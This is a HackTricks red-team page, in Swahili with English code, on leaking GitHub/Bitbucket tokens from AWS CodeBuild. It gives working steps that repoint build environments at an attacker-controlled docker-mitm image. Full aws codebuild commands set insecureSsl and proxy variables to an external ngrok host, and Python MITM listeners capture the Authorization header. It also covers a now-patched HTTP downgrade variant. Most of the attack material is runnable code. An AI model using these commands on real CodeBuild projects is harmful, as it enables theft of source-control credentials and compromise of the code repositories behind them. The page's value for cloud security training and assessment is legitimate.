AWS Codebuild - Token Leakage

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Recover Github/Bitbucket Configured Tokens

Kwanza, angalia kama kuna akiba za chanzo zilizowekwa ambazo unaweza kuvuja:

bash
aws codebuild list-source-credentials

Kupitia Picha ya Docker

Ikiwa unapata kwamba uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza kuondoa hiyo ufikiaji (GH token au OAuth token) kwa kufanya Codebuild itumie picha maalum ya docker kuendesha ujenzi wa mradi.

Kwa kusudi hili unaweza kuunda mradi mpya wa Codebuild au kubadilisha mazingira ya moja iliyopo ili kuweka picha ya Docker.

Picha ya Docker unayoweza kutumia ni https://github.com/carlospolop/docker-mitm. Hii ni picha ya Docker ya msingi sana ambayo itaweka mabadiliko ya env https_proxy, http_proxy na SSL_CERT_FILE. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika https_proxy na http_proxy na kuamini SSL CERT iliyoonyeshwa katika SSL_CERT_FILE.

  1. Unda & Pakia picha yako ya Docker MitM
  • Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na ujenge picha ya docker.
  • USIWEKE http_proxy ili usikamate maombi kwa kiungo cha metadata.
  • Unaweza kutumia ngrok kama ngrok tcp 4444 kuweka proxy kwa mwenyeji wako
  • Mara tu unapokuwa na picha ya Docker iliyojengwa, pakia kwenye repo ya umma (Dockerhub, ECR...)
  1. Weka mazingira
  • Unda mradi mpya wa Codebuild au badilisha mazingira ya moja iliyopo.
  • Weka mradi kutumia picha ya Docker iliyozalishwa hapo awali
  1. Weka proxy ya MitM katika mwenyeji wako
  • Kama ilivyoonyeshwa katika repo ya Github unaweza kutumia kitu kama:
bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"

tip

Toleo la mitmproxy lililotumika ni 9.0.1, iliripotiwa kwamba na toleo la 10 hii huenda isifanye kazi.

  1. Kimbia ujenzi & kamata akreditivu
  • Unaweza kuona token katika kichwa cha Authorization:

Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama

bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild miradi yana mipangilio inayoitwa insecureSsl ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.
Kuwezesha hili, inaruhusu Codebuild kuungana na hifadhi bila kuangalia cheti kinachotolewa na jukwaa.

  • Kwanza unahitaji kuhesabu usanidi wa sasa kwa kutumia kitu kama:
bash
aws codebuild batch-get-projects --name <proj-name>
  • Kisha, kwa kutumia taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi insecureSsl kuwa True. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia insecureSsl=True mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya).
  • Zaidi ya hayo, ongeza pia mabadiliko ya mazingira http_proxy na https_proxy yanayoelekeza kwenye tcp ngrok yako kama:
bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Hatimaye, bonyeza Build the project, credentials zitatumwa kwa clear text (base64) kwenye bandari ya mitm:

Kupitia protokali ya HTTP

[!TIP] > Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo mshambuliaji hawezi kuutumia tena :)

Mshambuliaji mwenye permissions za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket iliyowekwa au ikiwa permissions zilipangwa kupitia OAuth, token ya muda ya OAuth inayotumika kufikia msimbo.

  • Mshambuliaji anaweza kuongeza mabadiliko ya mazingira http_proxy na https_proxy kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano http://5.tcp.eu.ngrok.io:14972).
  • Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano: http://github.com/carlospolop-forks/TestActions
  • Kisha, endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm kwenye bandari iliyotajwa na mabadiliko ya proxy (http_proxy na https_proxy)
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Kisha, bonyeza Build the project au anza ujenzi kutoka kwa mstari wa amri:
sh
aws codebuild start-build --project-name <proj-name>
  • Hatimaye, vithibitisho vitatumwa kwa maandishi wazi (base64) kwenye bandari ya mitm:

warning

Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (kuitumia) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks